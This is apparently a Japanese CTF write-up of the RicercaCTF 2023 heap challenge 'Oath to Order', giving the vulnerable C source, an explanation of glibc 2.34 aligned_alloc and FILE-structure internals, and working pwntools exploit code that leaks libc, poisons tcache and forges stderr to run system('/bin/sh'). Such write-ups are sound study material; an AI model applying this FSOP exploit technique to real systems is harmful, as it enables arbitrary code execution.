👀

Oath to Order - RicercaCTF 2023

2023/05/03に公開

概要

RicercaCTF 2023で出題された「Oath to Order」について復習したのでまとめてみた。

source code

main.c
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define NOTE_LEN 10
#define MAX_SIZE 300

char* notes[NOTE_LEN];

void print(const char *msg) {
  write(STDOUT_FILENO, msg, strlen(msg));
}

void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

  *buf = '\0';
}

unsigned getint(void) {
  char buf[0x10] = {};

  getstr(buf, sizeof(buf));
  return atoi(buf);
}

void create(void) {
  unsigned idx, size, alignment;

  print("index: ");
  if ((idx = getint()) >= NOTE_LEN) {
    print("invalid index\n");
    return;
  }

  print("size: ");
  if ((size = getint()) >= MAX_SIZE) {
    print("invalid size\n");
    return;
  }

  print("alignment: ");
  if ((alignment = getint()) >= MAX_SIZE) {
    print("invalid alignment\n");
    return;
  }

  notes[idx] = aligned_alloc(alignment, size);

  print("note: ");
  getstr(notes[idx], size);
}

void show(void) {
  unsigned idx;

  print("index: ");
  if ((idx = getint()) >= NOTE_LEN || !notes[idx]) {
    print("invalid index\n");
    return;
  }

  print(notes[idx]);
  print("\n");
}

int main(void) {
  while (1) {
    print("1. Create\n"
          "2. Show\n"
          "> ");

    switch (getint()) {
      case 1:
        create();
        break;
      case 2:
        show();
        break;
      default:
        exit(0);
    }
  }
}

脆弱性

getstr関数に脆弱性がある。sizeに0を渡すと-1, -2, -3...となるため、任意長の書き込みを行うことができる。

main.c
void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

知識

aligned_allocについて

今回の問題ではメモリ確保にaligned_allocが使われている。これは__libc_memalignのaliasになっている。(以下参照)

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3473

__libc_memalignは以下で定義されている。これが呼ばれると__mid_memalignが呼ばれることが分かる。

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3405

ソースコードを読むと__mid_memalignは以下のように動作することが分かる。

  • alignmentがMALLOC_ALIGNMENT以下だった場合は__libc_mallocを呼ぶ
  • それ以外の場合はalignmentを一番近い2の累乗に切り上げて_int_memalignを呼ぶ

_int_memalignの定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L4826

ソースコードを読むと以下のように動作することが分かる。

  • nb(= request2size(bytes)) + alignment + MINSIZE(=0x20)分_int_mallocでメモリを確保
  • alignmentに合うアドレスを見つける
  • 余った部分を _int_freeで開放する

重要なのはaligned_allocの中に_int_freeを呼び出すパスがあること。今回の問題ファイルにはfree関数が無いためこれを上手く使ってlibc baseをleakする。さらにalignmentがMALLOC_ALIGNMENT以下の時にのみ、__mid_memalignが__libc_mallocを呼び出すことも重要。__libc_mallocの定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3173

3193行目に注目。

malloc/malloc.c#L3193
  MAYBE_INIT_TCACHE ();

MALLOC_INIT_TCACHEマクロは以下のように定義されている。

malloc/malloc.c#L3156
# define MAYBE_INIT_TCACHE() \
  if (__glibc_unlikely (tcache == NULL)) \
    tcache_init();

tcache_init関数の定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/malloc/malloc.c#L3121

この関数は名前通りtcacheの初期化を行う。sizeof(tcache_perthread_struct)を_int_mallocで確保して0初期化している。__libc_mallocが呼び出されるのはalignmentがMALLOC_ALIGNMENT以下の時のみだった。これを上手く利用することで、任意書き込みが行えるchunkの後ろにtcacheを配置することができる。 これによりtcache-poisoningが簡単に行えるようになる。

_IO_FILE_plus構造体

stderrやstdoutは_IO_FILE_plus構造体になっている。定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/libioP.h#L324

_IO_jump_t構造体の定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/libioP.h#L293

vtableを切り替えることで使用する関数を変えれるようになっている。ただしこのような攻撃の対策としてvtableが__libc_IO_vtablesセクション内か確認する処理がある。

FILE構造体は_IO_FILE構造体のtypedefで、以下で定義されている。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/bits/types/struct_FILE.h#L49

82行目からの部分が以下のようになっており、IO_USE_OLD_IO_FILEがdefineされている場合はoffset以降が_IO_FILE構造体のメンバとして追加されるようになっている。

libio/genops.c#L82
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

FSOP in libc2.34

libc2.34から_malloc_hookや__free_hookが削除された[1]ので、これをone_gadgetやsystem関数に書き変えてshellを起動することはできない。そこでFSOPを使う方針で行く。FSOPでshellを起動する手法として_IO_str_overflowを用いる手法[2]が知られているが、_s._allocatebufferをmallocに置き換えるパッチ[3]が適用されたので、これも使うことができない。libc2.34でFSOPによりPCを奪取する方法として_IO_wfile_jumps.__overflowを用いる手法[4]がある。

_IO_wfile_jumps.__overflowは_IO_wfile_overflowになっている。定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/wfileops.c#L407

422行目の以下の処理を実行するのが目標。

libio/wfileops.c#L422
	  _IO_wdoallocbuf (f);

まずそもそも_IO_wfile_jumps.__overflowを呼び出すためにexitを呼び出して最終的に_IO_flush_all_lookupを呼び出す必要がある。この関数の定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L684

以下の部分でvtable->__overlfowを呼び出す。

/libio/genops.c#L701
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

__overflowを呼び出すためには以下のいずれかの条件を満たす必要がある。

- fp->_mode <= 0 かつ fp->_IO_write_ptr > fp->_IO_write_base
- fp->_mode > 0 かつ fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

この条件を満たせば__overflowが呼び出される。第一引数にはfpが渡される。この時に_IO_wfile_overflowを呼び出すため、vtableを&_IO_wfile_jumpsに改竄する必要がある。これで_IO_wfile_overflowが呼び出される。最終的な目標は422行目の以下の処理を実行することだった。

libio/wfileops.c#L422
	  _IO_wdoallocbuf (f);

この処理に到達するために以下の条件を満たす必要がある。

- f->_flags & _IO_NO_WRITES(=0x8) == 0
- (f->_flags & _IO_CURRENTLY_PUTTING(=0x800)) == 0
- f->_wide_data->_IO_write_base == 0

これで_IO_wdoallocbufが呼び出される。この関数の定義は以下。

https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/wgenops.c#L365

371行目の以下の処理を実行するのが目標。

libio/wgenops.c#L371
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)

この部分を実行するために以下の条件を満たす必要がある。

- fp->_wide_data->_IO_buf_base == 0
- fp->_flags & _IO_UNBUFFERED(=0x0x0002) == 0

_IO_WDOALLOCATEマクロの定義は長いので載せない。最終的にf->_wide_data->_wide_vtable->__doallocateが呼び出される。_doallocateを&systemにして、fpの先頭に"/bin/sh"を置けばshellが起動できる。

exploit

前準備

繰り返し使う処理を関数としてまとめておく。

exploit.py
def create(idx : hex, size: hex, align: hex, note: bytes):
    io.sendlineafter(b'> ', str(1).encode())
    io.sendlineafter(b'index: ', str(idx).encode())
    io.sendlineafter(b'size: ', str(size).encode())
    io.sendlineafter(b'alignment: ', str(align).encode())
    io.sendlineafter(b'note: ', note)

def show(idx: hex) -> bytes:
    io.sendlineafter(b'> ', str(2).encode())
    io.sendlineafter(b'index: ', str(idx).encode())
    return io.recvline()

libc base leak

exploit.py
# libc base leak
create(0, 0, 0xf0, b'a' * 0x10 + pack(0xf0) + pack(0x40)[:-1])
create(1, 0, 0, b'b' * 0x18 + pack(0xf1)[:-1])
create(2, 0xd0 - 8, 0, b'c')
libc_base = unpack(show(0).rstrip().ljust(8, b'\0')) - 0x219ce0
log.info('libc_base: %#016lx', libc_base)

exploitを動かしながら確認してみる。(手元にglibc-2.34が無かったので動かすときはglibc-2.31を用いている。offsetが変わるけどやっていることは変わらないので問題ない)まず一つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。nb(=0x20) + alignment(=0x100) + MINSIZE(=0x20)が_int_mallocで確保され、alignmentに合うアドレスが返される。前と後ろのchunkはfreeされている。ここで確保されたchunkを以降chunkAと呼ぶ。

0

その後getstr関数の実行によりfastbin(0x40)に入っているchunkのprev_sizeが0xf0に、sizeが0x40に書き変わる。PREV_INUSEを0にしていることがポイント。

1

次に二つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。

2

alignementは0なので先ほどunsorted binに入っていたchunkから切り出される。切り出された後のchunkサイズは0xf0 - 0x20 = 0xd0であり、unsorted binに繋がる。また、fastbinにつながっているchunkの後ろに0x290バイトのchunkが確保されている。これがtcache。(sizeof(struct tcache_perthread_struct) = 0x280)

その後getstr関数の実行によりunsorted binに入っているchunkのサイズが0xf0に書き変わる。
ひとつ前のcreateでfastbinに入っているchunkのperev_sizeを0xf0に、sizeのPREV_INUSEを0にしていたことを思い出してほしい。これにより unsorted binに入っていたchunk(size=0xd0) + chunkA(size=0x20)が一つのfree chunkとして扱われる。

3

最後に三つ目のcreateを実行する。aligned_allocの呼び出し後は以下のようになる。前のcreateによってunsorted binに元々入っていたchunk(size=0xd0)とchunkA(size=0x20)が一つのfree chunkとして扱われていた。三つ目のcreateで要求しているサイズは0xd0なのでこれがfree chunkから切り出され、残りの部分、即ち chunkAがunsorted binに繋がれる。

4

後はchunkA.fdを読み出せばそこからlibc baseが計算できる。

FSOP

今heapは以下のようになっている。

4

fastbinに入っているchunkの後ろにある0x290バイトはtcacheだった。そして今chunkA(size = 0x20)はunsorted binに繋がっている。次のaligned_allocでchunkAを取り出すことでtcache-poisoningを簡単に行うことができる。やりたいことはstderrを改竄してFSOPによりshellを起動することだったので、tcache(0x20)に&_IO_2_1_stderr_を入れる。そのためのコードが以下。

exploit.py
# FSOP
# fake tcache
stderr = libc_base + 0x21a6a0
tcache = p16(1)
tcache = tcache.ljust(0x80, b'\0')
tcache += pack(stderr)
create(3, 0, 0, b'\0' * 0x58 + pack(0x291) + tcache)

このcreateを実行する。aligned_allocの呼び出し後は以下のようになる。chunkAが返っていることが分かる。

5

その後getstr関数の実行によりtcahce(0x20)に&_IO_2_1_stderr_が入る。

6

次のaligned_allocで0x20バイト要求すれば今tcache(0x20)に入れたアドレス、即ち&_IO_2_1_stderr_が返るので_IO_2_1_stderr_を改竄できる。満たすべき条件は以下だった。

- fp->_mode > 0 かつ fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
- f->_flags & _IO_NO_WRITES(=0x8) == 0
- (f->_flags & _IO_CURRENTLY_PUTTING(=0x800)) == 0
- fp->_flags & _IO_UNBUFFERED(=0x0x0002) == 0
- f->_wide_data->_IO_write_base == 0

条件を満たしつつshellを起動するためには各メンバを以下のようにセットすればよい。

- stderr->_flags = "  /bin/sh\0"(先頭にSP2個)
- stderr->_mode = 1
- stderr->_wide_data = &_IO_2_1_stdout
- stderr->vtable = &_IO_wfile_jumps
- stderr->_wide_data->_IO_write_base == 0
- stderr->_wide_data->_IO_write_ptr = 1
- stderr->_wide_data->_wide_vtable = &_IO_2_1_stdout
- (struct _IO_jump_t *)stderr->__overflow = &system

stderrの先頭には"/bin/sh\0"を置く必要があるがこの部分は_flagsなので条件を満たすために二つのSP(=0x20)をいれている。stderr->_wide_dataとstderr->_wide_data->_wide_vtableを&_IO_2_1_stdoutにしているところがポイント。_IO_2_1_stdoutは_IO_2_1_stderrのすぐ後ろの領域なのでこれにより一度の書き込みで済む。これが上手くいくのは問題ファイルで入出力にread/writeが使われているためであることに注意。exploitは以下のようになる。

exploit.py
stdout = stderr + 0xe0
system = libc_base + 0x50d60
wfile_jumps = libc_base + 0x2160c0

# fake _IO_FILE_plus struct
fake_file = b'  /bin/sh\0' # _flags
fake_file = fake_file.ljust(0xa0, b'\0')
fake_file += pack(stdout) # _wide_data
fake_file = fake_file.ljust(0xc0, b'\0')
fake_file += p32(1) # _mode
fake_file = fake_file.ljust(0xd8, b'\0')
fake_file += pack(wfile_jumps) # vtable

# fake _IO_wide_data & _IO_jump_t struct
fake_wide_data = pack(0) * 4
fake_wide_data += pack(1) # _IO_write_ptr
fake_wide_data = fake_wide_data.ljust(0x8 * 13, b'\0')
fake_wide_data += pack(system) # __doallocate
fake_wide_data = fake_wide_data.ljust(0xe0, b'\0')
fake_wide_data += pack(stdout)

create(4, 0, 0, fake_file + fake_wide_data)

このcreateを実行する。aligned_allocの呼び出しにより&_IO_2_1_stderrが返る。

7

getstr関数実行後の_IO_2_1_stderr以下のようになる。

8

_IO_2_1_stderr._wide_dataは&_IO_2_1_stdoutになる。ここをstruct _IO_wide_dataとして解釈すると以下のようになる。

9

_IO_2_1_stderr._wide_data._wide_vtableも&_IO_2_1_stdoutになる。ここをstruct _IO_jumpt_tとして解釈すると以下のようになる。

10

各メンバをうまく改竄できていることが分かる。後はexitを呼び出せばよい。

expolit.py
io.sendlineafter(b'> ', b'3')
io.interactive()

これを実行すると以下のようになり、flagがゲットできる。

11

考察

今回のexploitでは_IO_wfile_overflowが最終的にf->_wide_data->_wide_vtable->__doallocateを呼び出すことを利用した。__doallocateを呼び出しているのは_IO_WDOALLOCATEマクロだった。このマクロと関連するマクロの定義を以下に示す。

libio/libioP.h
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

重要なのはf->vtableとは異なり、f->_wide_data->_wide_vtableに何もチェックがないこと。f->vtableを使用する際は_IO_JUMPS_FUNCマクロが使用されており、IO_validate_vtable関数によってf->vtableが__libc_IO_vtablesセクション内になっているかチェックされる。

libio/libioP.h#107
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))

f->_wide_data->_wide_vtableのデフォルト値である_IO_wfile_jumpsも__libc_IO_vtablesセクション内にあるのになぜチェックされていないのかは謎だが、このおかげで今回の攻撃はうまく。f->_wide_data->_wide_vtableにf->vtable同様のチェックが入った場合は今回の攻撃はうまくいかない。

参考文献

https://github.com/shift-crops/CTFWriteups/blob/2023/2023/Ricerca CTF/Oath to Order/exploit_oath-to-order.py?ref=www.ctfiot.com

https://www.ctfiot.com/111898.html

脚注
  1. https://sourceware.org/pipermail/libc-alpha/2021-July/129193.html ↩︎

  2. https://ptr-yudai.hatenablog.com/entry/2019/02/12/000202 ↩︎

  3. https://patchwork.ozlabs.org/project/glibc/patch/20180525151329.23778403744B5@oldenburg.str.redhat.com/ ↩︎

  4. https://blog.kylebot.net/2022/10/22/angry-FSROP/ ↩︎

Discussion